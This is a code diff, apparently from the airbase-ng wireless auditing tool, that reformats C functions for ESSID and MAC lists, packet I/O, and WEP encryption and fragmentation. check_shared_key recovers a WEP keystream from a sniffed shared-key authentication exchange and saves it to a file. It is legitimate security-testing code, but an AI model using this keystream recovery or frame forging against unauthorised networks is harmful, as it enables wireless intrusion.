+					packet = (unsigned char *) malloc(len + old->headerlen + 8);
+					K[0] = rand() & 0xFF;
+					K[1] = rand() & 0xFF;
+					K[2] = rand() & 0xFF;
+					K[3] = 0x00;
+
+					memcpy(packet, old->header, old->headerlen);
+					len = old->headerlen;
+					memcpy(packet + len, K, 4);
+					len += 4;
+					for (i = 0; i <= old->fragnum; i++)
+					{
+						memcpy(packet + len,
+							   old->fragment[i],
+							   old->fragmentlen[i]);
+						len += old->fragmentlen[i];
+					}
+
+					/* write crc32 value behind data */
+					if (add_crc32(packet + old->headerlen + 4,
+								  len - old->headerlen - 4)
+						!= 0)
+						return NULL;
+
+					len += 4; // icv
+
+					memcpy(K + 3, opt.wepkey, opt.weplen);
+
+					encrypt_wep(packet + old->headerlen + 4,
+								len - old->headerlen - 4,
+								K,
+								opt.weplen + 3);
+
+					packet[1] = packet[1] | 0x40;
+
+					// delete captured fragments
+					delFrag(smac, sequence);
+					*packetlen = len;
+					return packet;
+				}
+				else
+					return NULL;
+			}
+			else
+			{
+				packet = (unsigned char *) malloc(len + old->headerlen);
+				memcpy(packet, old->header, old->headerlen);
+				len = old->headerlen;
+				for (i = 0; i <= old->fragnum; i++)
+				{
+					memcpy(packet + len, old->fragment[i], old->fragmentlen[i]);
+					len += old->fragmentlen[i];
+				}
+				// delete captured fragments
+				delFrag(smac, sequence);
+				*packetlen = len;
+				return packet;
+			}
+		}
+		cur = cur->next;
+	}
+	return packet;
 }
 
-int gotESSID(char* essid, int len)
+static int addMAC(pMAC_t pMAC, unsigned char * mac)
 {
-    pESSID_t old, cur;
+	pMAC_t cur = pMAC;
 
-    if(essid == NULL)
-        return -1;
+	if (mac == NULL) return -1;
 
-    if(len <= 0 || len > 255)
-        return -1;
+	if (pMAC == NULL) return -1;
 
-    pthread_mutex_lock(&rESSIDmutex);
-    cur = rESSID;
+	while (cur->next != NULL) cur = cur->next;
 
-    if(rESSID == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return -1;
-    }
+	// alloc mem
+	cur->next = (pMAC_t) malloc(sizeof(struct MAC_list));
+	cur = cur->next;
 
-    while(cur->next != NULL)
-    {
-        old = cur->next;
-        if(old->len == len)
-        {
-            if(memcmp(old->essid, essid, len) == 0)
-            {
-                pthread_mutex_unlock(&rESSIDmutex);
-                return 1;
-            }
-        }
-        cur = cur->next;
-    }
+	// set mac
+	memcpy(cur->mac, mac, 6);
 
-    pthread_mutex_unlock(&rESSIDmutex);
-    return 0;
+	cur->next = NULL;
+
+	return 0;
 }
 
-int gotMAC(pMAC_t pMAC, unsigned char* mac)
+static void flushESSID(void)
 {
-    pMAC_t cur = pMAC;
-
-    if(mac == NULL)
-        return -1;
+	pESSID_t old;
+	pESSID_t cur;
+	time_t now;
 
-    if(pMAC == NULL)
-        return -1;
+	pthread_mutex_lock(&rESSIDmutex);
+	cur = rESSID;
 
-    while(cur->next != NULL)
-    {
-        cur = cur->next;
-        if(memcmp(cur->mac, mac, 6) == 0)
-        {
-            //got it
-            return 1;
-        }
-    }
+	if (rESSID == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return;
+	}
 
-    return 0;
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (old->expire)
+		{
+			time(&now);
+			if (now > old->expire)
+			{
+				// got it
+				cur->next = old->next;
+
+				free(old->essid);
+				old->essid = NULL;
+				old->next = NULL;
+				old->len = 0;
+				free(old);
+				pthread_mutex_unlock(&rESSIDmutex);
+				return;
+			}
+		}
+		cur = cur->next;
+	}
+	pthread_mutex_unlock(&rESSIDmutex);
 }
 
-int getESSID(char *essid)
+static int gotESSID(char * essid, int len)
 {
-    int len;
-    pthread_mutex_lock(&rESSIDmutex);
+	pESSID_t old, cur;
+
+	if (essid == NULL) return -1;
 
-    if(rESSID == NULL || rESSID->next == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return 0;
-    }
+	if (len <= 0 || len > 255) return -1;
 
-    memcpy(essid, rESSID->next->essid, rESSID->next->len + 1);
-    len = rESSID->next->len;
-    pthread_mutex_unlock(&rESSIDmutex);
+	pthread_mutex_lock(&rESSIDmutex);
+	cur = rESSID;
 
-    return len;
+	if (rESSID == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return -1;
+	}
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (old->len == len)
+		{
+			if (memcmp(old->essid, essid, len) == 0)
+			{
+				pthread_mutex_unlock(&rESSIDmutex);
+				return 1;
+			}
+		}
+		cur = cur->next;
+	}
+
+	pthread_mutex_unlock(&rESSIDmutex);
+	return 0;
 }
 
-int getNextESSID(char *essid)
+static int gotMAC(pMAC_t pMAC, unsigned char * mac)
 {
-    int len;
-    pESSID_t cur;
+	pMAC_t cur = pMAC;
 
-    pthread_mutex_lock(&rESSIDmutex);
+	if (mac == NULL) return -1;
 
-    if(rESSID == NULL || rESSID->next == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return 0;
-    }
+	if (pMAC == NULL) return -1;
 
-    len = strlen(essid);
-    for (cur = rESSID->next; cur != NULL; cur = cur->next)
-    {
-    	if (*essid == 0) {
-    		break;
-    	}
-    	// Check if current SSID.
-    	if (cur->len == len && cur->essid != NULL && strcmp(essid, cur->essid) == 0) {
-        	// SSID found, get next one
-        	cur = cur->next;
-        	if (cur == NULL) {
-        		cur = rESSID->next;
-        	}
-        	break;
-    	}
-    }
-    len = 0;
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		if (memcmp(cur->mac, mac, 6) == 0)
+		{
+			// got it
+			return 1;
+		}
+	}
+
+	return 0;
+}
 
-    if (cur != NULL) {
-        memcpy(essid, cur->essid, cur->len + 1);
-        len = cur->len;
+static int getESSID(char * essid)
+{
+	int len;
+	pthread_mutex_lock(&rESSIDmutex);
+
+	if (rESSID == NULL || rESSID->next == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return 0;
+	}
 
-    }
-    pthread_mutex_unlock(&rESSIDmutex);
+	memcpy(essid, rESSID->next->essid, rESSID->next->len + 1);
+	len = rESSID->next->len;
+	pthread_mutex_unlock(&rESSIDmutex);
 
-    return len;
+	return len;
 }
 
-int getESSIDcount()
+static int getNextESSID(char * essid)
 {
-    pESSID_t cur;
-    int count=0;
+	int len;
+	pESSID_t cur;
+
+	pthread_mutex_lock(&rESSIDmutex);
 
-    pthread_mutex_lock(&rESSIDmutex);
-    cur = rESSID;
+	if (rESSID == NULL || rESSID->next == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return 0;
+	}
 
-    if(rESSID == NULL) {
-        pthread_mutex_unlock(&rESSIDmutex);
-        return -1;
-    }
+	len = strlen(essid);
+	for (cur = rESSID->next; cur != NULL; cur = cur->next)
+	{
+		if (*essid == 0)
+		{
+			break;
+		}
+		// Check if current SSID.
+		if (cur->len == len && cur->essid != NULL
+			&& strcmp(essid, cur->essid) == 0)
+		{
+			// SSID found, get next one
+			cur = cur->next;
+			if (cur == NULL)
+			{
+				cur = rESSID->next;
+			}
+			break;
+		}
+	}
+	len = 0;
 
-    while(cur->next != NULL)
-    {
-        cur = cur->next;
-        count++;
-    }
+	if (cur != NULL)
+	{
+		memcpy(essid, cur->essid, cur->len + 1);
+		len = cur->len;
+	}
+	pthread_mutex_unlock(&rESSIDmutex);
 
-    pthread_mutex_unlock(&rESSIDmutex);
-    return count;
+	return len;
 }
 
-int getMACcount(pMAC_t pMAC)
+static int getESSIDcount(void)
 {
-    pMAC_t cur = pMAC;
-    int count=0;
+	pESSID_t cur;
+	int count = 0;
 
-    if(pMAC == NULL)
-        return -1;
+	pthread_mutex_lock(&rESSIDmutex);
+	cur = rESSID;
 
-    while(cur->next != NULL)
-    {
-        cur = cur->next;
-        count++;
-    }
+	if (rESSID == NULL)
+	{
+		pthread_mutex_unlock(&rESSIDmutex);
+		return -1;
+	}
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		count++;
+	}
 
-    return count;
+	pthread_mutex_unlock(&rESSIDmutex);
+	return count;
 }
 
-unsigned char* getMAC(pMAC_t pMAC)
+static int getMACcount(pMAC_t pMAC)
 {
-    pMAC_t cur = pMAC;
+	pMAC_t cur = pMAC;
+	int count = 0;
 
-    if(pMAC == NULL)
-        return NULL;
+	if (pMAC == NULL) return -1;
 
-    if(cur->next != NULL)
-        return cur->next->mac;
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		count++;
+	}
 
-    return NULL;
+	return count;
 }
 
-int addESSIDfile(char* filename)
+static int addESSIDfile(char * filename)
 {
-    FILE *list;
-    char essid[256];
+	FILE * list;
+	char essid[256];
 	int x;
 
-    list = fopen(filename, "r");
-    if(list == NULL)
-    {
-        perror("Unable to open ESSID list");
-        return -1;
-    }
+	list = fopen(filename, "r");
+	if (list == NULL)
+	{
+		perror("Unable to open ESSID list");
+		return -1;
+	}
 
-    while( fgets(essid, 256, list) != NULL )
-    {
-        // trim trailing whitespace
-        x = strlen(essid) - 1;
-        while (x >= 0 && isspace((int)essid[x]))
-            essid[x--] = 0;
+	while (fgets(essid, 256, list) != NULL)
+	{
+		// trim trailing whitespace
+		x = strlen(essid) - 1;
+		while (x >= 0 && isspace((int) essid[x])) essid[x--] = 0;
 
-        if(strlen(essid))
-            addESSID(essid, strlen(essid), 0);
-    }
+		if (strlen(essid)) addESSID(essid, strlen(essid), 0);
+	}
 
-    fclose(list);
+	fclose(list);
 
-    return 0;
+	return 0;
 }
 
-int addMACfile(pMAC_t pMAC, char* filename)
+static int addMACfile(pMAC_t pMAC, char * filename)
 {
-    FILE *list;
-    unsigned char mac[6];
-    char buffer[256];
+	FILE * list;
+	unsigned char mac[6];
+	char buffer[256];
 
-    list = fopen(filename, "r");
-    if(list == NULL)
-    {
-        perror("Unable to open MAC list");
-        return -1;
-    }
+	list = fopen(filename, "r");
+	if (list == NULL)
+	{
+		perror("Unable to open MAC list");
+		return -1;
+	}
 
-    while( fgets(buffer, 256, list) != NULL )
-    {
-        if(getmac(buffer, 1, mac) == 0)
-            addMAC(pMAC, mac);
-    }
+	while (fgets(buffer, 256, list) != NULL)
+	{
+		if (getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac);
+	}
 
-    fclose(list);
+	fclose(list);
 
-    return 0;
+	return 0;
 }
 
-int is_filtered_netmask(unsigned char *bssid)
+static int send_packet(void * buf, size_t count)
 {
-    unsigned char mac1[6];
-    unsigned char mac2[6];
-    int i;
+	struct wif * wi = _wi_out; /* XXX globals suck */
+	if (wi_write(wi, buf, count, NULL) == -1)
+	{
+		perror("wi_write()");
+		return -1;
+	}
+
+	pthread_mutex_lock(&mx_cap);
+	if (opt.record_data) capture_packet(buf, count);
+	pthread_mutex_unlock(&mx_cap);
+
+	nb_pkt_sent++;
+	return 0;
+}
 
-    for(i=0; i<6; i++)
-    {
-        mac1[i] = bssid[i]     & opt.f_netmask[i];
-        mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
-    }
+static int read_packet(void * buf, size_t count)
+{
+	struct wif * wi = _wi_in; /* XXX */
+	int rc;
 
-    if( memcmp(mac1, mac2, 6) != 0 )
-    {
-        return( 1 );
-    }
+	rc = wi_read(wi, buf, count, NULL);
+	if (rc == -1)
+	{
+		perror("wi_read()");
+		return -1;
+	}
 
-    return 0;
+	return rc;
 }
 
-int send_packet(void *buf, size_t count)
+static int msleep(int msec)
 {
-        struct wif *wi = _wi_out; /* XXX globals suck */
-        if (wi_write(wi, buf, count, NULL) == -1) {
-                perror("wi_write()");
-                return -1;
-        }
+	struct timeval tv, tv2;
+	float f, ticks;
+	int n;
+
+	if (msec == 0) msec = 1;
 
-        pthread_mutex_lock( &mx_cap );
-        if(opt.record_data)
-            capture_packet(buf, count);
-        pthread_mutex_unlock( &mx_cap );
+	ticks = 0;
 
-        nb_pkt_sent++;
-        return 0;
+	while (1)
+	{
+		/* wait for the next timer interrupt, or sleep */
+
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				return (1);
+			}
+
+			ticks++;
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1024);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks += f / 1024;
+		}
+
+		if ((ticks / 1024 * 1000) < msec) continue;
+
+		/* threshold reached */
+		break;
+	}
+
+	return 0;
 }
 
-int read_packet(void *buf, size_t count)
+static int check_shared_key(unsigned char * h80211, int caplen)
 {
-        struct wif *wi = _wi_in; /* XXX */
-        int rc;
+	int m_bmac, m_smac, m_dmac, n, textlen;
+	char ofn[1024];
+	unsigned char text[4096];
+	unsigned char prga[4096];
+	unsigned int long crc;
+
+	if ((unsigned) caplen > sizeof(opt.sharedkey[0])) return 1;
+
+	m_bmac = 16;
+	m_smac = 10;
+	m_dmac = 4;
+
+	if (time(NULL) - opt.sk_start > 5)
+	{
+		/* timeout(5sec) - remove all packets, restart timer */
+		memset(opt.sharedkey, '\x00', 4096 * 3);
+		opt.sk_start = time(NULL);
+	}
+
+	/* is auth packet */
+	if ((h80211[1] & 0x40) != 0x40)
+	{
+		/* not encrypted */
+		if ((h80211[24] + (h80211[25] << 8)) == 1)
+		{
+			/* Shared-Key Authentication */
+			if ((h80211[26] + (h80211[27] << 8)) == 2)
+			{
+				/* sequence == 2 */
+				memcpy(opt.sharedkey[0], h80211, caplen);
+				opt.sk_len = caplen - 24;
+			}
+			if ((h80211[26] + (h80211[27] << 8)) == 4)
+			{
+				/* sequence == 4 */
+				memcpy(opt.sharedkey[2], h80211, caplen);
+			}
+		}
+		else
+			return 1;
+	}
+	else
+	{
+		/* encrypted */
+		memcpy(opt.sharedkey[1], h80211, caplen);
+		opt.sk_len2 = caplen - 24 - 4;
+	}
 
-        rc = wi_read(wi, buf, count, NULL);
-        if (rc == -1) {
-                perror("wi_read()");
-                return -1;
-        }
+	/* check if the 3 packets form a proper authentication */
 
-        return rc;
+	if ((memcmp(opt.sharedkey[0] + m_bmac, NULL_MAC, 6) == 0)
+		|| (memcmp(opt.sharedkey[1] + m_bmac, NULL_MAC, 6) == 0)
+		|| (memcmp(opt.sharedkey[2] + m_bmac, NULL_MAC, 6)
+			== 0)) /* some bssids == zero */
+	{
+		return 1;
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_bmac, opt.sharedkey[1] + m_bmac, 6) != 0)
+		|| (memcmp(opt.sharedkey[0] + m_bmac, opt.sharedkey[2] + m_bmac, 6)
+			!= 0)) /* all bssids aren't equal */
+	{
+		return 1;
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_smac, opt.sharedkey[2] + m_smac, 6) != 0)
+		|| (memcmp(opt.sharedkey[0] + m_smac, opt.sharedkey[1] + m_dmac, 6)
+			!= 0)) /* SA in 2&4 != DA in 3 */
+	{
+		return 1;
+	}
+
+	if ((memcmp(opt.sharedkey[0] + m_dmac, opt.sharedkey[2] + m_dmac, 6) != 0)
+		|| (memcmp(opt.sharedkey[0] + m_dmac, opt.sharedkey[1] + m_smac, 6)
+			!= 0)) /* DA in 2&4 != SA in 3 */
+	{
+		return 1;
+	}
+
+	textlen = opt.sk_len;
+
+	if (textlen + 4 != opt.sk_len2)
+	{
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, "
+				   "got %d bytes)\n",
+				   *(opt.sharedkey[0] + m_dmac),
+				   *(opt.sharedkey[0] + m_dmac + 1),
+				   *(opt.sharedkey[0] + m_dmac + 2),
+				   *(opt.sharedkey[0] + m_dmac + 3),
+				   *(opt.sharedkey[0] + m_dmac + 4),
+				   *(opt.sharedkey[0] + m_dmac + 5),
+				   textlen + 4,
+				   opt.sk_len2);
+		}
+		return 1;
+	}
+
+	if ((unsigned) textlen > sizeof(text) - 4) return 1;
+
+	memcpy(text, opt.sharedkey[0] + 24, textlen);
+
+	/* increment sequence number from 2 to 3 */
+	text[2] = text[2] + 1;
+
+	crc = 0xFFFFFFFF;
+
+	for (n = 0; n < textlen; n++)
+		crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
+
+	crc = ~crc;
+
+	/* append crc32 over body */
+	text[textlen] = (crc) &0xFF;
+	text[textlen + 1] = (crc >> 8) & 0xFF;
+	text[textlen + 2] = (crc >> 16) & 0xFF;
+	text[textlen + 3] = (crc >> 24) & 0xFF;
+
+	/* cleartext XOR cipher */
+	for (n = 0; n < (textlen + 4); n++)
+	{
+		prga[4 + n] = (text[n] ^ opt.sharedkey[1][28 + n]) & 0xFF;
+	}
+
+	/* write IV+index */
+	prga[0] = opt.sharedkey[1][24] & 0xFF;
+	prga[1] = opt.sharedkey[1][25] & 0xFF;
+	prga[2] = opt.sharedkey[1][26] & 0xFF;
+	prga[3] = opt.sharedkey[1][27] & 0xFF;
+
+	if (opt.f_xor != NULL)
+	{
+		fclose(opt.f_xor);
+		opt.f_xor = NULL;
+	}
+
+	snprintf(ofn,
+			 sizeof(ofn) - 1,
+			 "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
+			 opt.f_index,
+			 *(opt.sharedkey[0] + m_dmac),
+			 *(opt.sharedkey[0] + m_dmac + 1),
+			 *(opt.sharedkey[0] + m_dmac + 2),
+			 *(opt.sharedkey[0] + m_dmac + 3),
+			 *(opt.sharedkey[0] + m_dmac + 4),
+			 *(opt.sharedkey[0] + m_dmac + 5),
+			 "xor");
+
+	opt.f_index++;
+
+	opt.f_xor = fopen(ofn, "w");
+	if (opt.f_xor == NULL) return 1;
+
+	for (n = 0; n < textlen + 8; n++) fputc((prga[n] & 0xFF), opt.f_xor);
+
+	fflush(opt.f_xor);
+
+	if (opt.f_xor != NULL)
+	{
+		fclose(opt.f_xor);
+		opt.f_xor = NULL;
+	}
+
+	if (!opt.quiet)
+	{
+		PCT;
+		printf("Got %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   textlen + 4,
+			   *(opt.sharedkey[0] + m_dmac),
+			   *(opt.sharedkey[0] + m_dmac + 1),
+			   *(opt.sharedkey[0] + m_dmac + 2),
+			   *(opt.sharedkey[0] + m_dmac + 3),
+			   *(opt.sharedkey[0] + m_dmac + 4),
+			   *(opt.sharedkey[0] + m_dmac + 5));
+	}
+
+	memset(opt.sharedkey, '\x00', 512 * 3);
+	/* ok, keystream saved */
+	return 0;
 }
 
-int msleep( int msec )
+#define IEEE80211_LLC_SNAP                                                     \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
+
+static int encrypt_data(unsigned char * data, int length)
 {
-    struct timeval tv, tv2;
-    float f, ticks;
-    int n;
+	unsigned char cipher[4096];
+	unsigned char K[128];
 
-    if(msec == 0) msec = 1;
+	if (data == NULL) return 1;
+	if (length < 1 || length > 2044) return 1;
 
-    ticks = 0;
+	if (opt.prga == NULL && opt.crypt != CRYPT_WEP)
+	{
+		printf("Please specify a WEP key (-w).\n");
+		return 1;
+	}
 
-    while( 1 )
-    {
-        /* wait for the next timer interrupt, or sleep */
+	if (opt.prgalen - 4 < length && opt.crypt != CRYPT_WEP)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
+			(length + 4));
+		return 1;
+	}
+
+	/* encrypt data */
+	if (opt.crypt == CRYPT_WEP)
+	{
+		K[0] = rand() & 0xFF;
+		K[1] = rand() & 0xFF;
+		K[2] = rand() & 0xFF;
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		encrypt_wep(data, length, K, opt.weplen + 3);
+		memcpy(cipher, data, length);
+		memcpy(data + 4, cipher, length);
+		memcpy(data, K, 3);
+		data[3] = 0x00;
+	}
+
+	return 0;
+}
+
+static int create_wep_packet(unsigned char * packet, int * length, int hdrlen)
+{
+	if (packet == NULL) return 1;
+
+	/* write crc32 value behind data */
+	if (add_crc32(packet + hdrlen, *length - hdrlen) != 0) return 1;
+
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (encrypt_data(packet + hdrlen, *length - hdrlen + 4) != 0) return 1;
+
+	//     /* write IV+IDX right in front of the encrypted data */
+	//     if( set_IVidx(packet) != 0 )                              return 1;
+
+	/* set WEP bit */
+	packet[1] = packet[1] | 0x40;
+
+	*length += 8;
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
+
+	return 0;
+}
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                return( 1 );
-            }
+static int intercept(unsigned char * packet, int length)
+{
+	unsigned char buf[4096];
+	unsigned char K[128];
+	int z = 0;
+
+	memset(buf, 0, 4096);
 
-            ticks++;
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+
+	if (opt.crypt == CRYPT_WEP)
+	{
+		memcpy(K, packet + z, 3);
+		memcpy(K + 3, opt.wepkey, opt.weplen);
 
-            gettimeofday( &tv,  NULL );
-            usleep( 1024 );
-            gettimeofday( &tv2, NULL );
+		if (decrypt_wep(packet + z + 4, length - z - 4, K, 3 + opt.weplen) == 0)
+		{
+			// ICV check failed!
+			return 1;
+		}
 
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
+		/* WEP data packet was successfully decrypted, *
+		* remove the WEP IV & ICV and write the data  */
 
-            ticks += f / 1024;
-        }
+		length -= 8;
 
-        if( ( ticks / 1024 * 1000 ) < msec )
-            continue;
+		memcpy(packet + z, packet + z + 4, length - z);
+	}
 
-        /* threshold reached */
-        break;
-    }
+	/* clear wep bit */
+	packet[1] &= 0xBF;
 
-    return 0;
+	// insert ethernet header
+	memcpy(buf + 14, packet, length);
+	length += 14;
+
+	ti_write(dev.dv_ti2, buf, length);
+	return 0;
 }
 
-int check_shared_key(unsigned char *h80211, int caplen)
+static int packet_xmit(unsigned char * packet, int length)
 {
-    int m_bmac, m_smac, m_dmac, n, textlen;
-    char ofn[1024];
-    unsigned char text[4096];
-    unsigned char prga[4096];
-    unsigned int long crc;
+	unsigned char buf[4096];
+	int fragments = 1, i;
+	int newlen = 0, usedlen = 0, length2;
+
+	if (packet == NULL) return 1;
+
+	if (length < 38) return 1;
+
+	if (length - 14 > 16 * opt.wif_mtu - MAX_FRAME_EXTENSION) return 1;
+
+	if (length + MAX_FRAME_EXTENSION > opt.wif_mtu)
+		fragments = ((length - 14 + MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1;
+
+	if (fragments > 16) return 1;
+
+	if (fragments > 1)
+		newlen = (length - 14 + MAX_FRAME_EXTENSION) / fragments;
+	else
+		newlen = length - 14;
 
-    if((unsigned)caplen > sizeof(opt.sharedkey[0])) return 1;
+	for (i = 0; i < fragments; i++)
+	{
+		if (i == fragments - 1)
+			newlen = length - 14
+					 - usedlen; // use all remaining bytes for the last fragment
 
-    m_bmac = 16;
-    m_smac = 10;
-    m_dmac = 4;
+		if (i == 0)
+		{
+			memcpy(h80211, IEEE80211_LLC_SNAP, 32);
+			memcpy(h80211 + 32, packet + 14 + usedlen, newlen);
+			memcpy(h80211 + 30, packet + 12, 2);
+		}
+		else
+		{
+			memcpy(h80211, IEEE80211_LLC_SNAP, 24);
+			memcpy(h80211 + 24, packet + 14 + usedlen, newlen);
+			//             memcpy(h80211+30, packet+12, 2);
+		}
 
-    if( time(NULL) - opt.sk_start > 5)
-    {
-        /* timeout(5sec) - remove all packets, restart timer */
-        memset(opt.sharedkey, '\x00', 4096*3);
-        opt.sk_start = time(NULL);
-    }
+		h80211[1] |= 0x02;
+		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 4, packet, 6); // DST_MAC
+
+		//    frag = frame[22] & 0x0F;
+		//    seq = (frame[22] >> 4) | (frame[23] << 4);
+		h80211[22] |= i & 0x0F; // set fragment
+		h80211[1] |= 0x04; // more frags
 
-    /* is auth packet */
-    if( (h80211[1] & 0x40) != 0x40 )
-    {
-        /* not encrypted */
-        if( ( h80211[24] + (h80211[25] << 8) ) == 1 )
-        {
-            /* Shared-Key Authentication */
-            if( ( h80211[26] + (h80211[27] << 8) ) == 2 )
-            {
-                /* sequence == 2 */
-                memcpy(opt.sharedkey[0], h80211, caplen);
-                opt.sk_len = caplen-24;
-            }
-            if( ( h80211[26] + (h80211[27] << 8) ) == 4 )
-            {
-                /* sequence == 4 */
-                memcpy(opt.sharedkey[2], h80211, caplen);
-            }
-        }
-        else return 1;
-    }
-    else
-    {
-        /* encrypted */
-        memcpy(opt.sharedkey[1], h80211, caplen);
-        opt.sk_len2 = caplen-24-4;
-    }
+		if (i == (fragments - 1))
+		{
+			h80211[1] &= 0xFB; // no more frags
+		}
 
-    /* check if the 3 packets form a proper authentication */
+		//         length = length+32-14; //32=IEEE80211+LLC/SNAP;
+		//         14=SRC_MAC+DST_MAC+TYPE
+		length2 = newlen + 32;
 
-    if( ( memcmp(opt.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) ||
-        ( memcmp(opt.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) ||
-        ( memcmp(opt.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */
-    {
-        return 1;
-    }
+		if ((opt.external & EXT_OUT))
+		{
+			memset(buf, 0, 4096);
+			memcpy(buf + 14, h80211, length2);
+			// mark it as outgoing packet
+			buf[12] = 0xFF;
+			buf[13] = 0xFF;
+			ti_write(dev.dv_ti2, buf, length2 + 14);
+			//             return 0;
+		}
+		else
+		{
+			if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
+			{
+				if (create_wep_packet(h80211, &length2, 24) != 0) return 1;
+			}
 
-    if( ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[1]+m_bmac, 6) != 0 ) ||
-        ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */
-    {
-        return 1;
-    }
+			send_packet(h80211, length2);
+		}
 
-    if( ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[2]+m_smac, 6) != 0 ) ||
-        ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */
-    {
-        return 1;
-    }
+		usedlen += newlen;
 
-    if( (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[2]+m_dmac, 6) != 0 ) ||
-        (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */
-    {
-        return 1;
-    }
+		if ((i + 1) < fragments) usleep(3000);
+	}
+	return 0;
+}
 
-    textlen = opt.sk_len;
+static int packet_recv(unsigned char * packet,
+					   int length,
+					   struct AP_conf * apc,
+					   int external);
 
-    if(textlen+4 != opt.sk_len2)
-    {
-        if(!opt.quiet)
-        {
-            PCT; printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, got %d bytes)\n",
-                        *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2),
-                        *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5),
-                        textlen+4, opt.sk_len2);
-        }
-        return 1;
-    }
+static int
+packet_xmit_external(unsigned char * packet, int length, struct AP_conf * apc)
+{
+	unsigned char buf[4096];
+	int z = 0;
 
-    if((unsigned)textlen > sizeof(text) - 4) return 1;
+	if (packet == NULL) return 1;
 
-    memcpy(text, opt.sharedkey[0]+24, textlen);
+	if (length < 40 || length > 3000) return 1;
 
-    /* increment sequence number from 2 to 3 */
-    text[2] = text[2]+1;
+	memset(buf, 0, 4096);
+	if (memcmp(packet, buf, 11) != 0)
+	{
+		// Wrong header
+		return 1;
+	}
 
-    crc = 0xFFFFFFFF;
+	/* cut ethernet header */
+	memcpy(buf, packet, length);
+	length -= 14;
+	memcpy(packet, buf + 14, length);
 
-    for( n = 0; n < textlen; n++ )
-        crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
 
-    crc = ~crc;
+	if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
+	{
+		if (create_wep_packet(packet, &length, z) != 0) return 1;
+	}
 
-    /* append crc32 over body */
-    text[textlen]     = (crc      ) & 0xFF;
-    text[textlen+1]   = (crc >>  8) & 0xFF;
-    text[textlen+2]   = (crc >> 16) & 0xFF;
-    text[textlen+3]   = (crc >> 24) & 0xFF;
+	if (memcmp(buf + 12, (unsigned char *) "\x00\x00", 2)
+		== 0) /* incoming packet */
+	{
+		packet_recv(packet, length, apc, 0);
+	}
+	else if (memcmp(buf + 12, (unsigned char *) "\xFF\xFF", 2)
+			 == 0) /* outgoing packet */
+	{
+		send_packet(packet, length);
+	}
 
-    /* cleartext XOR cipher */
-    for(n=0; n<(textlen+4); n++)
-    {
-        prga[4+n] = (text[n] ^ opt.sharedkey[1][28+n]) & 0xFF;
-    }
+	return 0;
+}
 
-    /* write IV+index */
-    prga[0] = opt.sharedkey[1][24] & 0xFF;
